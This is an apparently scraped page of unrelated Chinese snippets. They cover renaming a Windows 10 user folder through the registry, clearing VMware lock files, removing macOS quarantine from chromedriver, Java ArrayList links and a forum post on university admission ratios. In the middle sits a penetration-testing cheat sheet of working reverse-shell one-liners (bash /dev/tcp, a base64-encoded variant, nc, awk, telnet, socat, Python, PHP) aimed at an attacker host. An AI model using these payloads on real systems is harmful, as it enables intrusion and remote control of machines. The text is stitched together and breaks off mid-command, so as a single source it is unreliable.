3、进入计算机管理界面,选择找到登录的那个账号。
4、右击修改登录的账号,重命名。
5、修改登录的用户名,改成自己想要的。可以为汉字。
6、修改文件夹接着打开,运行输入 regedit进入注册表编辑器。
7、接着找到以下路径 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Profilelist
8、接着在profileslist里面找到刚刚等的账号,如admin
9、双机编辑该项,改成我们重命名的用户名。然后保存。
10、设置好之后,查看C盘用户名的文件夹名字,修改重命名,然后重启即可指向新的文件夹了。
以上就是win10修改用户文件夹名称的方法,有需要修改的用户可以根据以上步骤来操作,希望可以帮到大家。
昨天小区电路改造,整栋楼都断电了。今天打开VMware里的虚拟机cross2时,弹出"另一个程序已锁定文件的一部分,进程无法访问",如图(1)所示:
图(1) 虚拟机被锁定 出现这种情况的原因是:虚拟机在运行的过程中,如果突然断电,则会锁定文件,生成*.lck结尾的文件和文件夹,避免系统崩溃。
解决方法如下:
删除当前虚拟机文件里的*.lck文件和文件夹,就可以解除锁定,再启动虚拟机即可,如图(2)所示:
图(2) 删除*.lck结尾的文件和文件夹,即可解除锁定
下载chromedriver,选择与本地谷歌浏览器对应的版本执行chromedriver可能会出现如下提示:
出现上述问题是因为macOS识别到了这个程序可能有问题,给他添加了隔离属性com.apple.quarantine限制了程序的运行,使用xattr命令可以清除程序的隔离属性。xattr -d com.apple.quarantine chromedriver清除隔离属性之后,可以通过--version校验chromedriver是否已经可以正常执行
在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。所有姿势整理自网络,假设,攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明。
Linux 反弹shell 姿势一:bash反弹 bash -i >& /dev/tcp/192.168.99.242/1234 0>&1 base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}' 在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html
其他版本:
exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0 姿势二:nc反弹 nc -e /bin/bash 192.168.99.242 1234 姿势三:awk反弹 awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' 姿势四:telnet反弹 备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321 姿势五:socat反弹 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234 姿势六:Python反弹 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" 姿势七:PHP反弹 php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3"
1.常见的exception
https://zhuanlan.zhihu.com/p/61092776
2.arraylist的方法
https://www.cnblogs.com/gaomanito/p/8979076.html
扩容机制:https://www.cnblogs.com/baichunyu/p/12965241.html
3.arraylist底层原理:ArrayList继承了AbstractList,实现了List接口,底层实现基于数组,因此可以认为是一个可变长度的数组。
最近好多师弟师妹咨询我报考中大的事,我才意识到原来研究生报名开始了。回想起去年这个时候我也是很迷茫很纠结,作为过来人愿意为师弟师妹解惑。
我分析了一下大家最关心的,分数线和录取率问题,希望对大家有帮助。
一、分数线
分数线320分左右比国家线高30分的样子,17年是小年分数线有所下降,明年大概率分数线会涨。想要过线330分比较稳,单科55、55、180。
二、录取率
录取率=录取人数/报考人数,算出来是百分数不直观。这里用报录比替代录取率,报录比=报考人数/录取人数,报录比越大说明竞争越激烈。举个栗子:某个科有6个人报考,但只有一个统招名额,那么报录比=6,就是说这个6个人中录取1个人。
从图中我们可以看到,整体来说附一的报录比是最大的,附二、附三、附五、肿瘤医院(中肿)、眼科医院差不多,附六稍微低一点。也就是说附一竞争最激烈,附二、附三、附五、肿瘤医院(中肿)、眼科医院次之,接着是附六。
总体上是这么个趋势,但具体到某一年,某一个科就要具体分析了。比如2016年附六的报录比就是所有附院中最高的。
另外附上2017年的录取名单和报考与录取人数统计,就是辣么棒O(∩_∩)O~
说出你的疑惑吧
好多小伙伴喜欢私聊我,可是每天的私信限定三条,用完我就无法回复了/(ㄒoㄒ)/~~喜欢私聊的私信我你的联系方式吧
10-21号更新:论坛有个小伙伴分享了中大学硕复习资料,征他同意把帖子链接附在这里,方便有需要的小伙伴下载。